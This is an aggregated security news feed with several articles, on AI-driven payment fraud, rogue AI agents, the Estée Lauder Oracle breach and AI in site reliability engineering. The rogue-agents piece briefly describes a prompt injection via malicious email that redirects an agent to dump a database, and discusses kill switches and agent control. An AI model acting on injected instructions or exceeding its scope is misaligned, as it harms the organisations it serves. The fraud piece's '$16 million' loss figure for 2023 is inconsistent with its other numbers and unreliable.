The acquisition will add real-time native context capture across applications such as Salesforce, G-Suite, Microsoft 365, Jira, Confluence, Zoom and others, and, unlike point agents, it “spans the full arc from proposal to delivery to renewal, so nothing has to be rebuilt, re-mapped, or re-trusted as work moves from sales to delivery to customer success,” Certinia said.

New capabilities in Veda include automatic creation of proposal responses and statements of work, conversion of high-level business requirements into actionable blueprints, providing an on-demand virtual assistant to manage day-to-day tasks, performing scope scans and otherwise monitoring projects to proactively manage risk, and organizing delivery data and lessons learned into a searchable knowledge base for later use.

“What excites me most is the combination,” Robert Ong, co-founder and CEO of Moonnox, now part of Certinia, said in a statement. “Moonnox’s ability to capture what happens in the room, paired with Certinia’s system of record and agentic capabilities for services operations, closes a gap neither of us could close alone. Together, we give services firms the foundation to capture that value, deliver with confidence, and navigate shifting their operating models into the future.”

Thomas Randall, research director at Info-Tech Research Group, said it’s a smart move for Certinia to acquire Moonnox. “The current solution is quite complex to use. What Moonnox offers for Certinia is a way for non-technical staff to navigate their system of record across unstructured data silos. I expect to see an increase in satisfaction for the user experience.”

However, Jason Andersen, VP and principal analyst at Moor Insights & Strategy, still has questions.

“While this acquisition might increase service planning and delivery efficiencies in the short term, the real question will be how this combination will help firms with the fundamental shift AI and agents have thrust upon the services industry,” he pointed out. ”Unfortunately for services firms, agentic technologies have already reset client perceptions on internal work capacity, velocity, and cost. So, the proof point I’d like to see is beyond margin improvement and towards business transformation.”

]]> <![CDATA[Zimbra Patches Critical SNMP Command Injection and Four XSS Vulnerabilities]]> https://tsecurity.de/de/3684034/it-security-nachrichten/zimbra-patches-critical-snmp-command-injection-and-four-xss-vulnerabilities/ https://tsecurity.de/de/3684034/it-security-nachrichten/zimbra-patches-critical-snmp-command-injection-and-four-xss-vulnerabilities/ Tue, 21 Jul 2026 16:37:57 +0200 📰 IT Security Nachrichten tsecurity.de Zimbra has rolled out fixes to address multiple critical security issues, including a command injection flaw in the Simple Network Management Protocol (SNMP) monitoring component. As many as nine security vulnerabilities have been patched in Zimbra 10.1.20. Topping the list


Read more →

The post Zimbra Patches Critical SNMP Command Injection and Four XSS Vulnerabilities appeared first on IT Security News.

]]> <![CDATA[Zimbra Patches Critical SNMP Command Injection and Four XSS Vulnerabilities]]> https://tsecurity.de/de/3683967/it-security-nachrichten/zimbra-patches-critical-snmp-command-injection-and-four-xss-vulnerabilities/ https://tsecurity.de/de/3683967/it-security-nachrichten/zimbra-patches-critical-snmp-command-injection-and-four-xss-vulnerabilities/ Tue, 21 Jul 2026 16:10:27 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[heise-Angebot: iX-Workshop Advanced Kubernetes Security: Effektive Maßnahmen und Best Practices]]> https://tsecurity.de/de/3683654/it-nachrichten/heise-angebot-ix-workshop-advanced-kubernetes-security-effektive-massnahmen-und-best-practices/ https://tsecurity.de/de/3683654/it-nachrichten/heise-angebot-ix-workshop-advanced-kubernetes-security-effektive-massnahmen-und-best-practices/ Tue, 21 Jul 2026 14:18:33 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[KI bricht aus Sandbox aus: OpenAI schlĂ€gt neue Art von Sicherheitsregeln vor]]> https://tsecurity.de/de/3683608/it-nachrichten/ki-bricht-aus-sandbox-aus-openai-schlaegt-neue-art-von-sicherheitsregeln-vor/ https://tsecurity.de/de/3683608/it-nachrichten/ki-bricht-aus-sandbox-aus-openai-schlaegt-neue-art-von-sicherheitsregeln-vor/ Tue, 21 Jul 2026 14:04:05 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Asymmetric warfare in financial services: AI-powered fraud demands unified command]]> https://tsecurity.de/de/3683476/it-security-nachrichten/asymmetric-warfare-in-financial-services-ai-powered-fraud-demands-unified-command/ https://tsecurity.de/de/3683476/it-security-nachrichten/asymmetric-warfare-in-financial-services-ai-powered-fraud-demands-unified-command/ Tue, 21 Jul 2026 13:08:50 +0200 📰 IT Security Nachrichten tsecurity.de

Military strategists know that asymmetric wars are lost not at the point of attack but at the seams between defensive units, where no single commander owns the territory and information moves slower than the threat. In January 2024, a finance employee at Arup’s Hong Kong office learned this lesson for $25 million, joining a video call with what appeared to be the engineering firm’s chief financial officer and several colleagues, receiving instructions to wire funds to a designated account, and complying. Every face on the screen was a deepfake, cloned from publicly available footage of the actual executives. The attackers conducted the entire meeting in real time and vanished before anyone in the organization realized the CFO had never logged on.

The incident would be remarkable enough as a one-off, but it represents a pattern accelerating well beyond isolated cases. Global payment fraud reached $33.4 billion in 2024 according to the Nilson Report, and the US absorbed a disproportionate 42% of those losses despite processing only 25% of global card transactions. The latest FBI Internet Crime report identifies more than one million complaints and nearly $21 billion in cyber-enabled crime losses in 2025 (up from $16 million in 2023), while Deloitte projects AI-enabled fraud in the US will hit $40 billion by 2027. This increasingly includes crypto-related fraud, not just credit card or traditional banking fraud.

For anyone who oversees financial operations, risk or payment technology infrastructure, these numbers are not forecasts of a future “regional conflict.” Instead, they are the current cost of a war most institutions have not yet recognized they are fighting.

Reconnaissance at scale: How AI redraws the attacker’s map

The conventional narrative around AI-powered fraud emphasizes speed: Faster phishing, faster credential stuffing, faster social engineering. Jason Kikta, CTO of Automox, sees the shift differently. “The main threat from AI misuse isn’t faster execution, as automation has been leveraged for years,” Kikta says. “The true dangers are lower barriers to entry and faster adaptation, giving attackers the ability to pivot techniques in near real-time.”

The distinction means that execution is a quantitative improvement, the kind existing defenses can absorb by scaling up. Lower barriers to entry and real-time adaptation are qualitative: A force multiplier that turns every amateur into an equipped operator with a coach that learns from each failed attempt. Deepfake-as-a-service platforms now produce voice clones from three seconds of audio. AI-driven vulnerability scanning maps an institution’s unpatched endpoints while the security team is still scheduling the review meeting. In 2024, 269 million stolen credit card records appeared on dark web platforms, giving AI-equipped attackers what military intelligence analysts would call an order of battle: A detailed map of the defender’s exposed positions, ready to be mined for patterns, tested against live systems and exploited at machine speed.

The result is a combined arms threat, one that operates across domains simultaneously the way a competent military force coordinates air, ground and intelligence rather than running them as independent campaigns. The same AI that crafts a convincing business email compromise can probe unpatched point-of-sale systems to install digital skimmers. The same synthetic identity that opens a fraudulent credit card account can exploit a payment authorization vulnerability discovered through automated scanning. Card-not-present fraud now accounts for 71% of all US card fraud losses, and the attack surface keeps expanding as digital wallets and e-commerce push more transactions into channels where physical card verification is impossible.

Attackers treat endpoint management gaps and transaction monitoring gaps as a single attack surface, while most defenders continue to patrol them as separate territories.

Fragmented command: The structural vulnerability AI exploits

Consider how most financial institutions, crypto platforms and digital asset intermediaries actually organize their defenses: A cybersecurity team focused on identity compromise, endpoint protection and infrastructure threats; a fraud team focused on account takeover, mule networks and scam typologies; an AML or financial crimes team focused on wallet screening, sanctions exposure and suspicious activity reporting; and an AI risk or digital trust team, if one exists at all, focused on synthetic media, model abuse and impersonation. Each function has its own tooling, budget, reporting line and intelligence feeds. In crypto markets, where value can move irreversibly across wallets, chains, mixers, exchanges and OTC brokers in minutes, those silos create exploitable gaps between detection, attribution, interdiction and recovery.

A pig-butchering scam that begins on a dating app, migrates to WhatsApp, directs a victim to a fake crypto investment platform, and then launders proceeds through nested services and cross-chain bridges is not just a fraud event. It is also a cybersecurity event, a financial crimes event, an identity event, a platform abuse event and, increasingly, an AI-enabled social engineering event. Chainalysis reported that high-yield investment scams and pig-butchering schemes were among the most successful crypto scam types in 2024, while also noting growing use of AI in fraud and scams.

Research published by the University of California, Davis found that these schemes follow a staged lifecycle: Trust-building, fabricated investment returns, escalating deposits, withdrawal obstruction and re-targeting of victims after the initial loss. When each part of that lifecycle is monitored by a different team, the institution sees fragments of the attack rather than the economic system of the crime.

“Fraud no longer happens in isolated channels,” observes Jeff Li, Global Product & Designer Lead at Binance. “AI-powered scams move seamlessly across platforms, and payment systems, making fragmented defenses increasingly ineffective.” He believes that the future of security depends on unified intelligence — combining AI, real-time monitoring, secure infrastructure and cross-functional response mechanisms into a single coordinated defense system.

“We’ve invested heavily in AI-driven risk detection, real-time scam warnings and infrastructure to stay ahead of evolving threats, continues Li, claiming that from Q1 2025 to Q1 2026, these efforts helped Binance prevent over $10 billion in potential user losses and protected more than 5 million users globally. As AI continues to reshape both fraud and fraud prevention, the focus remains on building systems that can protect users, not just at scale, but in real time.

Unified command: From org chart to battle plan

Kikta’s assessment contains a contrarian detail worth teasing apart: “The good news is that a strong compliance program prioritizing depth of coverage and speed of enforcement will hold up against AI-enabled fraud,” he says. In a landscape saturated with predictions that existing defenses are obsolete, Kikta argues that the fundamentals of patch management, endpoint hygiene and compliance rigor still hold, provided the clock speed at which those fundamentals execute keeps pace with the adversary.

That clock speed is the operational link between cybersecurity and card fraud prevention. An unpatched point-of-sale terminal or payment gateway exposed for 30 days represents 30 days of reconnaissance opportunity for an AI scanner probing for places to install a digital skimmer or intercept card data in transit. A compliance gap in identity verification is an open invitation for synthetic identities to open accounts and run fraudulent transactions. Endpoint management data and transaction monitoring data describe the same attack surface from different angles, and fusing those streams into a single operational picture, the financial equivalent of a military intelligence fusion center, gives defenders something the current siloed structure cannot: Visibility into an attack developing across domains before it reaches the payment layer.

The value of that convergence extends beyond defense. A unified data layer across cyber, fraud and payments creates consolidated threat intelligence that can inform underwriting decisions, merchant risk scoring and product design. Organizations that treat converged security data as a business intelligence asset (not merely an operational feed) will find they have built something with commercial utility well beyond the security operations center.

Mascaro frames the prescription in terms that belong in a boardroom, not a SOC. “The real competitive advantage in fraud isn’t your AI stack,” he says. “It’s leadership’s clarity to unify risk disciplines that everyone else keeps in separate departments.”

Field manual: What winning institutions do differently

The institutions gaining ground in this new form of asymmetric conflict share a common operational posture: They treat endpoint management as card fraud prevention rather than IT maintenance, and they feed cyber, fraud and payments intelligence into a single picture rather than three separate briefings. The defensive AI advantage, such as it is, comes from that integration, not from any single model’s sophistication.

Adversaries have already unified their operations. Yet, payment processors and financial institutions that keep running separate campaigns on separate fronts, with separate intelligence, will keep conducting after-action reviews of battles they have already lost.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

]]> <![CDATA[USN-8576-1: Linux kernel (NVIDIA Tegra) vulnerabilities]]> https://tsecurity.de/de/3683452/unix-server/usn-8576-1-linux-kernel-nvidia-tegra-vulnerabilities/ https://tsecurity.de/de/3683452/unix-server/usn-8576-1-linux-kernel-nvidia-tegra-vulnerabilities/ Tue, 21 Jul 2026 13:01:12 +0200 🐧 Unix Server tsecurity.de <![CDATA[How Can AI Be Used to Improve Cybersecurity Measures?]]> https://tsecurity.de/de/3683388/it-security-nachrichten/how-can-ai-be-used-to-improve-cybersecurity-measures/ https://tsecurity.de/de/3683388/it-security-nachrichten/how-can-ai-be-used-to-improve-cybersecurity-measures/ Tue, 21 Jul 2026 12:38:42 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[USN-8574-1: Linux kernel (GCP FIPS) vulnerabilities]]> https://tsecurity.de/de/3683349/unix-server/usn-8574-1-linux-kernel-gcp-fips-vulnerabilities/ https://tsecurity.de/de/3683349/unix-server/usn-8574-1-linux-kernel-gcp-fips-vulnerabilities/ Tue, 21 Jul 2026 12:16:02 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8575-1: Linux kernel vulnerabilities]]> https://tsecurity.de/de/3683348/unix-server/usn-8575-1-linux-kernel-vulnerabilities/ https://tsecurity.de/de/3683348/unix-server/usn-8575-1-linux-kernel-vulnerabilities/ Tue, 21 Jul 2026 12:16:01 +0200 🐧 Unix Server tsecurity.de <![CDATA[IT leaders confident but cooked when it comes to rogue AI agents]]> https://tsecurity.de/de/3683326/it-security-nachrichten/it-leaders-confident-but-cooked-when-it-comes-to-rogue-ai-agents/ https://tsecurity.de/de/3683326/it-security-nachrichten/it-leaders-confident-but-cooked-when-it-comes-to-rogue-ai-agents/ Tue, 21 Jul 2026 12:09:38 +0200 📰 IT Security Nachrichten tsecurity.de

A large majority of IT and security leaders are confident in their teams’ ability to detect when an AI agent has gone rogue, but few are able to take quick action to mitigate the fallout when an agent exceeds its intended scope.

Nine in 10 IT and security leaders surveyed by IT observability vendor WanAware believe in their capabilities to find malfunctioning agents, but only 26% acknowledge that they can trace the downstream impact within minutes. Over 45% say it would take hours to understand the full impact of an agent incident.

That delay between detection and mitigation can be a huge problem, says Jeffrey Collins, WanAware’s CEO. The survey suggests IT leaders are overconfident about their ability to control agents, he adds.

And here, timing is critical, Collins says, given that malfunctioning agents can lead to major outages and data breaches — damage that can start within seconds, he notes.

“That’s truly the gap here. It’s not if you understand it; it’s when you understand it,” Collins says. “If your average time to just knowing about an event is measured in days, weeks, or months, you have a serious problem right now.”

While it’s not always easy to tell whether an agent has gone beyond its scope, it’s even harder to tell the downstream impacts, he adds.

“What’s been affected if one machine was compromised, either from our own AI usage as a customer or from someone else’s, what else could happen, and how can we understand that quickly?” Collins asks.

Machine speed

Kevin Paige, field CISO at IT solutions provider C1, agrees that time is of the essence when an AI agent malfunctions.

“The problem is that agents move at machine speed, so the gap between an agent malfunctioning and you catching it isn’t measured in minutes, it’s measured in actions,” he says. “Every minute it’s wrong it’s still working, and because it’s usually running on borrowed standing credentials, the damage spreads across everything those credentials can reach before anyone can pin it on the agent.”

In many cases, organizations with rogue agents don’t find out from their own detection tools, but from customers, auditors, or broken downstream systems, he says.

“That’s the worst way to learn,” Paige adds. “The longer-term cost is trust, because one incident like that and the business pulls back on agents entirely, so failing to contain a malfunction fast is also what stalls adoption.”

The problem with detecting rogue agents is that many organizations have built in visibility but not control, he says.

“When an agent goes out of scope it’s rarely dramatic,” Paige adds. “Usually, it’s using access it legitimately has, for a purpose nobody signed off on, which means your access model doesn’t even flag it. So you find out after the fact, and you fix it by hand.”

IT teams can stop agents that exceed their scope, but only if controls were built in before the agent was deployed, adds Chris Camacho, COO of Abstract Security.

“Every agent should have its own identity, narrowly scoped permissions, and a complete audit trail,” he says. “Just as important, organizations need the ability to immediately revoke that identity or suspend the agent without manually hunting through multiple consoles during an incident.”

Part of the challenge is that an agent’s activity is spread across identities, cloud platforms, SaaS applications, APIs, and security tools that were not designed to tell a complete story, Camacho says. Security teams often have to piece together events from multiple basic questions such as, what did the agent access, and what changed?

“Most organizations know where they’ve deployed AI agents,” he adds. “That’s very different from knowing exactly what an agent did after something unexpected happens.”

The organizations that most successfully manage agents won’t be the ones that deploy the most, he says. “They’ll be the ones that can explain every action an agent took, prove it operated within policy, and stop it immediately when it doesn’t,” he adds.

Confidence isn’t reality

The survey’s results make sense to Joe Brinkley, director of offensive security research and community at pentest firm Cobalt. The high confidence in detecting malfunctions is compliance paperwork, whereas the minority of respondents who can detect problems quickly is the reality on the ground, he says.

“Tracing agent impact fast is brutal,” Brinkley says. “These systems do not run on fixed code paths. They use nondeterministic reasoning across a web of different APIs. Traditional logs only catch isolated events. They completely miss the full execution chain.”

By the time an anomaly alert hits, an agent has already executed multiple downstream actions, he adds.

In some cases, agent malfunctions are related to data flow vulnerabilities, such as when a prompt injection from an untrusted input such as a malicious email overwrites the system instructions, he says.

“We need to be clear about the actual technology; the AI is not waking up angry,” Brinkley says. “The agent suddenly thinks its official job is to dump your database. It spends tokens as fast as possible to do that.”

Agents are also vulnerable to loop failures, when they hit API errors and try to self-correct, he adds.

“It hits that same broken endpoint 10,000 times in two minutes,” he says. “It drains your budget and causes a self-inflicted denial of service. It is an automated wrecking ball moving faster than your monitoring can log it.”

Brinkley recommends that IT leaders put “hard kill” switches at the API layer to stop agents going out of scope.

“You can stop it, but soft guardrails are useless,” he says. “Do not try to patch the prompt or filter the text. You have to treat the agent like a compromised user account. Pull the OAuth tokens and kill the access immediately.”

]]> <![CDATA[What Are The Best Practices For Ensuring AI Privacy?]]> https://tsecurity.de/de/3683325/it-security-nachrichten/what-are-the-best-practices-for-ensuring-ai-privacy/ https://tsecurity.de/de/3683325/it-security-nachrichten/what-are-the-best-practices-for-ensuring-ai-privacy/ Tue, 21 Jul 2026 12:09:36 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[Sicherheitspatch Grafana: Angreifer können sensible Daten abgreifen]]> https://tsecurity.de/de/3683264/it-nachrichten/sicherheitspatch-grafana-angreifer-koennen-sensible-daten-abgreifen/ https://tsecurity.de/de/3683264/it-nachrichten/sicherheitspatch-grafana-angreifer-koennen-sensible-daten-abgreifen/ Tue, 21 Jul 2026 11:49:58 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Sicherheitspatch Grafana: Angreifer können sensible Daten abgreifen]]> https://tsecurity.de/de/3683203/it-security-nachrichten/sicherheitspatch-grafana-angreifer-koennen-sensible-daten-abgreifen/ https://tsecurity.de/de/3683203/it-security-nachrichten/sicherheitspatch-grafana-angreifer-koennen-sensible-daten-abgreifen/ Tue, 21 Jul 2026 11:39:27 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[EstĂ©e Lauder Confirms Cyberattack Affecting Personal Information]]> https://tsecurity.de/de/3683174/it-security-nachrichten/este-lauder-confirms-cyberattack-affecting-personal-information/ https://tsecurity.de/de/3683174/it-security-nachrichten/este-lauder-confirms-cyberattack-affecting-personal-information/ Tue, 21 Jul 2026 11:22:38 +0200 📰 IT Security Nachrichten tsecurity.de EstĂ©e Lauder data breach

The Estée Lauder data breach has prompted the global cosmetics company to notify affected individuals after hackers exploited a vulnerability in Oracle E-Business Suite, a platform used for human resources (HR) operations.   The Estée Lauder cyberattack stemmed from unauthorized access that occurred on or around August 9, 2025, though the company said it identified the incident last month and confirmed the scope of the breach on June 19, 2026. 

Estée Lauder Data Breach Exposed Sensitive Personal Information 

According to the company's notification letter, the attackers gained access to the Oracle E-Business Suite system and obtained personal information belonging to certain individuals.  We became aware of a cybersecurity issue involving a vulnerability in the Oracle E-Business Suite system which is used by the Estee Lauder Companies for HR management purposes," the notice states.  It further adds: "On June 19, 2026, we determined through our investigation that, on or around August 9, 2025, an unauthorized third party gained access to the Oracle E-Business Suite system and obtained personal information of certain individuals."  The exposed data in the incident includes full names, postal addresses, email addresses, dates of birth, Social Security numbers (SSNs), passport numbers, financial account information, including bank account numbers, health information, and employment records such as payroll and performance reports. 

Oracle Vulnerability Tied to Estée Lauder Cyberattack 

Although Estée Lauder did not identify the specific vulnerability used in the attack, the timeline aligns with the widespread exploitation of the Oracle E-Business Suite flaw CVE-2025-61882.  In October 2025, researchers from Google warned that the Clop ransomware group had exploited the vulnerability as a zero-day to steal data. The flaw affected Oracle EBS versions 12.2.3 through 12.2.14, allowing attackers to bypass authentication and remotely execute code through the BI Publisher Integration component. Successful exploitation could provide access to sensitive HR and business information.  Oracle released security patches for CVE-2025-61882 on October 4, 2025. Soon after, cybersecurity company CrowdStrike confirmed that Clop had been exploiting the vulnerability since early August 2025. 

Company Offers Identity Monitoring 

EstĂ©e Lauder, headquartered in New York, generates annual revenue of $14.3 billion, employs around 57,000 people, and operates retail stores and online businesses worldwide, making it the world's second-largest cosmetics company.  Following the EstĂ©e Lauder data breach, the company is urging recipients of its notification letter to monitor for signs of identity theft and fraud. It is also providing 24 months of complimentary identity monitoring services through Kroll.  The EstĂ©e Lauder cyberattack is part of a broader campaign that affected several high-profile organizations, including Harvard, the University of Pennsylvania, Dartmouth, the University of Phoenix, The Washington Post, Logitech, GlobalLogic, Cox Enterprises, and American Airlines subsidiary Envoy Air.  This is not the first time the company has been impacted by Clop. In 2023, EstĂ©e Lauder was also compromised after the ransomware group exploited a separate zero-day vulnerability in the MOVEit Transfer platform, one of the company's internal software tools. ]]> <![CDATA[How AI impacts site reliability engineering]]> https://tsecurity.de/de/3683121/ai-nachrichten/how-ai-impacts-site-reliability-engineering/ https://tsecurity.de/de/3683121/ai-nachrichten/how-ai-impacts-site-reliability-engineering/ Tue, 21 Jul 2026 11:05:12 +0200 🔧 AI Nachrichten tsecurity.de

Site reliability engineers (SREs) have the tough assignment of resolving thorny performance and reliability issues. But their primary mission is to provide devops teams with operational insights and to suggest implementation improvements on business system performance, security, and overall robustness.

Google introduced its SRE playbook in 2003, but it took some time for the role’s definition, tools, and techniques to become mainstream. Startups were the first to adopt observability for cloud-native applications and create dedicated SRE positions. As tools matured and SRE responsibilities became more clearly defined, larger enterprises assigned SREs to work as a bridge between devops and IT ops teams to improve resilience across a wider range of applications, APIs, and data pipelines.

SRE is a career path for multidisciplinary engineers with strong investigative instincts, sharp data analytics skills, and the temperament to perform under pressure. It has become a critical responsibility as tech became mission-critical for enterprises, and it is a growing role in the genAI era as more businesses deploy AI agents.

But the critical need for resiliency and greater technological complexity brings new challenges for SREs. According to the 2026 State of Production Reliability and AI Adoption report, 44% of respondents experienced an outage linked to ignored or suppressed alerts in the past year, and 35% report their engineers occasionally ignore or dismiss alerts due to alert fatigue. More than 70% of alerts received are not actionable, according to 57% of organizations.

So, is AI making the SRE’s role easier and helping businesses run more reliable technology operations? On the other hand, AI is also driving complexity, as companies deploy genAI tools and AI agents across more business functions and seek to automate more decision-making across operations.

AIops and agentic ops aid SREs

Over the past decade, SRE responsibilities have become somewhat easier through improvements in monitoring platforms, observability practices, tools for centralizing operational data, and AI applied in IT operations (AIops). But during the heat of resolving an outage or performance issue, it’s not easy to correctly identify what system triggered the issue versus other downstream systems impacted by it.

According to the Komodore 2025 Enterprise Kubernetes Report, 79% of production incidents originate from recent system changes, including deployments and changes to compute environments. But the other 21% of incidents stem from issues outside of the business’s control, including network failures, third-party changes, and cloud provider failures.

“SREs using AI capabilities succeed or fail in the moment an incident unfolds, when engineers are deciding what to investigate next,” says Itiel Shwartz, CTO at Komodor. “If the system streamlines root cause detection, connects signals to recent changes, and explains its reasoning in a way engineers recognize, it earns trust. If it adds uncertainty or demands extra validation, it gets sidelined, regardless of how bespoke the model behind it may be. What’s less obvious is what it takes to make AI for SREs work in production, and how different that reality is from prototypes, demos, or early internal builds.”

AIops is not a new capability, especially in using machine learning to correlate logs, metrics, and traces across monitoring and alerting systems. IT service management and SREs have been using AIops to reduce the mean time to resolve incidents and to perform accurate root cause analysis (RCA) efficiently. Agentic ops is the next wave of genAI operational capabilities, including tools for monitoring AI agents, managing their access rights, and detecting AI model accuracy drift.

 “AI is useful during major incidents because it can pull together a lot of context into a few clear sentences, which is exactly what an SRE needs in the moment,” suggests Shani Shoham, chief revenue officer at OpenObserve. “The complexity of architecture and the different tooling make it easier for AI than for a human, but autonomous resolution is still a way off.”

AI’s impact on people and burnout

The business pressure to keep systems up, secure, and performing well is a 24/7 stressful responsibility. According to The SRE Report 2025 from Catchpoint, 36% of SREs often or always experience elevated stress during an incident, and 28% said the stress persists even after the incident is resolved. AI capabilities may prove to be a game-changer in helping SREs avoid burnout and reduce stress.

“AI can improve RCA by taking in a much larger incident context than any engineer can hold at 3am, reasoning across traces, logs, metrics, deploys, config changes, alerts, ownership, and recent production behavior,” says Noam Levy, founding engineer and field CTO at Groundcover. “Beyond attempting a full RCA, its immediate value is distilling the signals that actually matter, reconstructing a clear timeline of cause and effect, and helping engineers separate correlation from likely causality. Once a fix is deployed, agents can also verify remediation by comparing pre- and post-fix behavior, but this depends on broad access to rich, correlated production signals and a cost model that does not discourage adoption or experimentation.”

Not only are incidents resolved faster and with less stress, but AI can also free up SRE time to focus on proactive work and create a career path for junior developers into SRE roles. Quais Taraki, CTO at EDB Postgres AI, adds, “AI reduces toil by automating repetitive tasks while accelerating incident resolution through copilots that correlate signals across distributed systems, allowing SREs to focus more on resilience strategies like chaos engineering and failure analysis.”

AI can have long-lasting operational impacts, especially for organizations looking to deploy more mission-critical technology and AI capabilities. Two longer-term benefits of AI for SREs are reducing the number of bridge calls needed for incident response and the number of engineers required in “war rooms” to coordinate root cause analyses.

“When something goes wrong, AI that guides SREs can do the full analysis, get to the root cause, and perform the remediation,” says Spiros Xanthos, founder and CEO of Resolve AI. “AI also helps avoid many escalations, and when escalations are needed, it targets the right people from the network, infrastructure, and the application teams. AI for SREs centralizes operational intelligence, exposes tribal knowledge, and can guide more junior developers.” 

AI agent reliability

While AI capabilities have been a net positive in helping SREs improve system reliability, the growth of AI code generators, vibe coding, and spec-driven development is adding to their workloads. According to one study, 41% of all global code is now AI-generated, and Gartner predicts that 40% of new enterprise production software will be created using vibe coding techniques by 2028.

But coding velocity is creating new issues for SREs as AI pull requests have 1.4 times more critical issues and 1.7 times more major issues, according to CodeRabbit. “AI-assisted development has created an unprecedented velocity of code reaching production, expanding surface area, edge cases, and failure rates faster than traditional SRE practices can absorb,” says Vinod Jayaraman, cofounder and CTO at NeuBird AI. “The speed of shipping has far outpaced the speed of understanding what breaks in production. To close this loop, SREs need enterprise agents that can capture precise diagnostic context, including correlated traces, service dependencies, and anomaly timelines, and structure it as actionable input for the engineers and AI coding tools responsible for the fix.”

The growing number of AI agents deployed to production creates new challenges. AI agents are not just code; they have multiple failure points. They are built using language models, connect to proprietary sources for context, and integrate with Model Context Protocol servers to support more complex workflows. Changes are ongoing and not deployment events, so the SRE’s job of identifying the source of performance and accuracy drifts isn’t trivial. 

“Traditional SRE was built for systems that fail in reproducible ways, but agents fail differently and drift when a model provider pushes an update, and behavior shifts silently with no baseline for comparison,” says Mohammed Aboul-Magd, vice president of product at SandboxAQ. “Most organizations can’t even answer the basics: how many agents are running, what they have access to, and whether they’re still doing what they were built to do.”

“Every time a senior engineer leaves, they take years of learned failure patterns with them, and the next outage starts from square one,” adds Ronak Desai, cofounder and CEO at Ciroos. “Using AI for compounding operational memory changes that, and every incident your system resolves, the AI learns it.”

SREs should take a leadership role in emerging best practices, including defining their standards for AI agent non-functional acceptance criteria, observability practices, and release-readiness criteria. SREs should update their service-level objectives (SLOs) and define error budgets for AI agents in production.

Ryan Downing, vice president and CIO of enterprise business solutions at Principal Financial Group, says, “Standard SLOs and error budgets give teams the guardrails, and AI helps interpret the telemetry against those targets, reducing noise so engineers can get to the real issue faster and automate parts of remediation before customers are impacted.”

AI raises the SRE’s business impact

The more dramatic shift in site reliability engineering is an evolution of its business scope. IT leaders focus on uptime, performance, and issue resolution, as well as understanding their impacts. Business leaders will look to IT and SREs to identify, determine root cause, and remediate a broader class of issues, including rogue AI agents and the impacts of rapidly deploying new agentic capabilities. 

“AI agents are handing SREs categories of problems they’ve never had to solve before, specifically failures defined in business terms, not technical ones,” says Blake Sherwood, distinguished technologist for AI and platform strategy at Smarsh. “Traditional reliability engineering is built around latency, errors, and crashes, but agents now fail due to skipped compliance steps or outcomes that looked fine technically but were wrong contextually. Most SRE teams aren’t wired for that yet.”

The question is whether SREs with AI-augmented tools can keep up with the velocity, complexity, and business urgency of deploying new AI business capabilities.

]]> <![CDATA[The next AI bottleneck is not the model. It’s the infrastructure behind it]]> https://tsecurity.de/de/3683109/it-nachrichten/the-next-ai-bottleneck-is-not-the-model-its-the-infrastructure-behind-it/ https://tsecurity.de/de/3683109/it-nachrichten/the-next-ai-bottleneck-is-not-the-model-its-the-infrastructure-behind-it/ Tue, 21 Jul 2026 11:03:50 +0200 📰 IT Nachrichten tsecurity.de

Every enterprise AI conversation seems to begin with the same question: Which model should we use?

I understand why. Models are visible. They have names, benchmarks, release notes, pricing pages and impressive demos. They are easy to compare in a leadership meeting. One model promises better reasoning. Another offers a larger context window. Another appears faster, cheaper or more specialized.

But after years of working around enterprise platforms, integration layers, cloud migration, middleware, production operations and mission-critical systems, I see the AI conversation differently.

The model matters. But it is not where most enterprises will struggle next.

The next AI bottleneck is the infrastructure behind the model.

I do not mean only GPUs, cloud capacity or data storage. I mean the full enterprise operating layer that allows AI to work safely in the real world: data pipelines, identity, APIs, messaging, observability, security controls, deployment automation, cost governance, auditability, support ownership and recovery design.

That layer is what determines whether AI remains an exciting experiment or becomes a trusted business capability.

Pilots hide the hard part

Most organizations can build an impressive AI pilot. A small team can connect a model to a dataset, create a workflow and show a use case that works well in a controlled setting.

The harder part starts when that pilot moves into a real production process.

That is when practical questions show up. Who owns the data quality? What systems can the AI access? How do we trace which prompt, policy or retrieval flow produced a specific answer? What happens when an API slows down, a queue backs up or a downstream system is unavailable?

To me, these are not model problems. They are infrastructure problems.

This is where many enterprises are now headed. The first phase of AI was experimentation. The next phase is operationalization, and that is where the real gap becomes clear.

McKinsey has made a similar point in its work on agentic AI, noting that the next phase of value depends less on isolated tools and more on redesigning workflows, operating models and enterprise execution around agents.

AI pilots can survive on enthusiasm. Production AI requires architecture.

AI is becoming an integration problem

The more I look at enterprise AI, the more it feels like an integration challenge.

In large organizations, I have seen how messaging platforms, integration gateways, deployment pipelines, monitoring tools and cloud infrastructure can decide whether a digital capability succeeds or fails. AI will be no different. Even the strongest model will struggle if the data, middleware, identity layer and operational controls around it are weak.

AI does not work in isolation. It needs context from systems of record, clean data from different business areas, secure access to APIs, event streams, workflows, knowledge repositories, monitoring tools and legacy systems.

That is why the CIO question is changing.

It is no longer just, “Which AI tool should we buy?”

It is becoming, “Can we safely operationalize intelligence across the business?”

This is where agentic AI matters. Autonomous AI only creates real value when the architecture around it can make its actions safe, traceable and useful.

A model can generate an answer. Infrastructure determines whether that answer is secure, timely, explainable, governed and connected to the right workflow.

For example, an AI assistant that summarizes customer or order information may look like a model use case. But underneath, it depends on access control, fresh data, reliable APIs, logging, encryption, monitoring and policy enforcement.

If the answer is wrong, people may blame the model. But the real failure may have started with stale data, weak integration, poor access design, missing observability or an unreliable downstream system.

That is why CIOs should not judge AI only by model capability. The enterprise system around the model matters just as much.

Latency will become a trust issue

In traditional technology operations, latency is often treated as a performance metric. In AI-enabled workflows, latency becomes a trust issue.

When an employee asks an AI assistant for help and the response takes too long, the employee stops using it. When a customer-facing workflow becomes slow, the customer abandons it. When an AI agent waits on multiple backend calls, the entire business process feels unreliable.

This becomes even more important as organizations move from simple chat interfaces to agentic workflows. A single AI-driven action may include identity checks, context retrieval, policy validation, model reasoning, API calls, business-rule execution, logging and human approval.

Each step adds latency. Each dependency adds a possible failure point.

A model may be fast in a benchmark but slow inside an enterprise process. That difference matters.

